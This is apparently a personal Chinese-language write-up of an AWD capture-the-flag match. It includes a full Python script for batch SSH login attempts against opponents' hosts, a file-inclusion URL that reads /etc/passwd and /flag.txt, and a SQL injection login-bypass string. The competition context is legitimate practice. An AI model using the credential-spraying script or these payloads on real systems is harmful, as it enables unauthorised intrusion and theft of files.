参加了一次AWD比赛,大致分享一下。
(上半场梭哈全场,下半场被全场梭哈)
第一场正常发挥
首先就是刚开始的20分钟,一定要做好防御。防御不好什么都是扯淡。如果能改root密码就改,我们这场比赛就没让我们改,因为权限不行(晕)。个人感觉如果有openssh的exp会很爽,但我没准备。所以脚本一定要备好。
在比赛刚开始要使用通杀脚本扫一遍是否有队伍还没改密码。
例:ssh_exp.py
代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SSH 批量登录测试器
测试多个主机的SSH登录凭据
"""
import paramiko
import argparse
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
class SSHBatchLoginTester:
"""SSH批量登录测试工具"""
def __init__(self, hosts_file=None, hosts_list=None, credentials_file=None,
username=None, password=None, key_file=None, max_threads=10, timeout=10):
"""
初始化SSH批量登录测试器
Args:
hosts_file: 包含主机列表的文件路径 (每行一个主机)
hosts_list: 主机列表
credentials_file: 包含凭据的文件路径 (格式: username:password)
username: 用户名
password: 密码
key_file: 私钥文件路径
max_threads: 最大线程数
timeout: 连接超时时间
"""
self.hosts = []
self.credentials = []
self.results = []
self.max_threads = max_threads
self.timeout = timeout
self.username = username
self.password = password
self.key_file = key_file
# 加载主机列表
if hosts_file:
self.load_hosts_from_file(hosts_file)
elif hosts_list:
self.hosts = hosts_list
# 加载凭据
if credentials_file:
self.load_credentials_from_file(credentials_file)
elif username and (password or key_file):
self.credentials.append({
'username': username,
'password': password,
'key_file': key_file
})
def load_hosts_from_file(self, filepath):
"""从文件加载主机列表"""
try:
with open(filepath, 'r', encoding='utf-8') as f:
self.hosts = []
for line in f:
line = line.strip()
if line and not line.startswith('#'):
# 支持 host:port 格式
if ':' in line:
host, port = line.split(':', 1)
self.hosts.append((host, int(port)))
else:
self.hosts.append((line, 22)) # 默认端口为22
print(f"[*] 已从 {filepath} 加载 {len(self.hosts)} 个主机")
except Exception as e:
print(f"[-] 加载主机文件时出错: {e}")
import sys
sys.exit(1)
def test_ssh_connection(self, host, port):
"""测试单个SSH连接"""
result = {
'host': host,
'port': port,
'status': 'failed',
'error': None,
'time_taken': 0
}
start_time = time.time()
try:
# 创建SSH客户端
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接
if self.key_file:
ssh.connect(
hostname=host,
port=port,
username=self.username,
key_filename=self.key_file,
timeout=self.timeout
)
else:
ssh.connect(
hostname=host,
port=port,
username=self.username,
password=self.password,
timeout=self.timeout
)
# 执行简单命令验证连接
stdin, stdout, stderr = ssh.exec_command('echo "Connection successful"')
output = stdout.read().decode().strip()
ssh.close()
result['status'] = 'success' if output else 'failed'
if not output:
result['error'] = "Command execution failed"
except Exception as e:
result['error'] = str(e)
finally:
result['time_taken'] = time.time() - start_time
return result
def run_tests(self):
"""运行所有测试"""
if not self.hosts:
print("[-] 没有主机需要测试")
return
print(f"[*] 正在测试 {len(self.hosts)} 个主机的SSH连接...")
print(f"[*] 使用 {self.max_threads} 个线程")
with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
# 提交所有任务
future_to_host = {
executor.submit(self.test_ssh_connection, host, port): (host, port)
for host, port in self.hosts
}
# 收集结果
for future in as_completed(future_to_host):
result = future.result()
self.results.append(result)
# 实时输出结果
if result['status'] == 'success':
print(f"[+] {result['host']}:{result['port']} - 成功 ({result['time_taken']:.2f}秒)")
else:
print(f"[-] {result['host']}:{result['port']} - 失败 ({result['error']})")
def print_summary(self):
"""打印测试摘要"""
total = len(self.results)
success = sum(1 for r in self.results if r['status'] == 'success')
failed = total - success
print("\n" + "="*50)
print("SSH批量登录测试摘要")
print("="*50)
print(f"测试主机总数: {total}")
print(f"成功连接数: {success}")
print(f"失败连接数: {failed}")
print(f"成功率: {(success/total)*100:.1f}%")
if failed > 0:
print("\n失败的连接:")
for result in self.results:
if result['status'] == 'failed':
print(f" - {result['host']}:{result['port']} ({result['error']})")
def main():
parser = argparse.ArgumentParser(description="SSH批量登录测试器")
parser.add_argument("hosts_file", help="包含主机列表的文件 (每行一个)")
parser.add_argument("-u", "--username", required=True, help="SSH用户名")
parser.add_argument("-p", "--password", help="SSH密码")
parser.add_argument("-k", "--key-file", help="SSH私钥文件")
parser.add_argument("--port", type=int, default=22, help="默认SSH端口 (默认: 22)")
parser.add_argument("--timeout", type=int, default=10, help="连接超时时间(秒) (默认: 10)")
parser.add_argument("--threads", type=int, default=10, help="最大并发线程数 (默认: 10)")
args = parser.parse_args()
# 验证参数
if not args.password and not args.key_file:
print("错误: 必须提供密码(-p)或密钥文件(-k)")
return
try:
tester = SSHBatchLoginTester(
hosts_file=args.hosts_file,
username=args.username,
password=args.password,
key_file=args.key_file,
port=args.port,
timeout=args.timeout,
max_threads=args.threads
)
tester.run_tests()
tester.print_summary()
except Exception as e:
print(f"错误: {e}")
if __name__ == "__main__":
main()
利用类似这种脚本去打别人的靶机,看看有没有没换密码的。
然后,我们的上半场只有web靶机,所以使用Kali中的 wapiti 工具进行漏洞扫描。(因为考虑到比赛的时候flag轮换时间短,建议使用这种简便的轻量化的漏洞扫描工具)。
wapiti -u '目标URL'
通过扫描结果得知目标存在文件包含漏洞,在下载图片备份的地方存在文件包含漏洞。经过wapiti的检测发现存在可以直接包含/etc/passwd文件。
在本机通过find指令发现flag文件位于根目录下。命令如下:
find / -name *flag*
(当时我都怀疑自己搞错了,因为flag在/flag.txt文件里)
因为文件包含可以直接http://example.com/image-backup.php?backfile=%2Fetc%2Fpasswd
所以直接就包含/flag.txt
构造如下URL:
http://example.com/image-backup.php?backfile=%2Fflag.txt
直接梭哈全场的flag,爽!!!
但是第二场就难绷了
第二场是一个web靶机,一个pwn靶机。
我先是使用了wapiti扫描web靶机,再用pwnpasi扫描pwn文件,发现存在栈溢出。
发现web靶机存在xss,但是这没什么用啊!!!(服了)
因为是邮件登录系统,所以存在登录框,尝试sql望能密码绕过。如:admin' or '1' ='1,
发现有回显,但是有转义字符。
【我的两个队友赛后复盘的意思是这个web靶机只要能登录进去就在首页可以直接拿到flag,那么因为靶机一样,就可以自己链接自己靶机上的mysql,查询管理员用户的md5(但我当时没反应过来,赛后把自己气笑了,但凡我们把md5改了也不会出现这种情况,也可以直接打进去别人靶机了。)】
pwn打的也是糟糕透顶了,明知道有栈溢出,而且canary,nx保护还没开,当时脑子不知道怎么回事,就是exp写不明白了,打不进去。(难绷)
赛后复盘
这次的问题出在了防御上,当然我自己的攻击和指挥也出现了一定的问题,因为是第一次参加线下awd比赛,拿了个决赛优秀奖,倒也还算满意。总结下来就是还得练。 --路虽远,行则将至。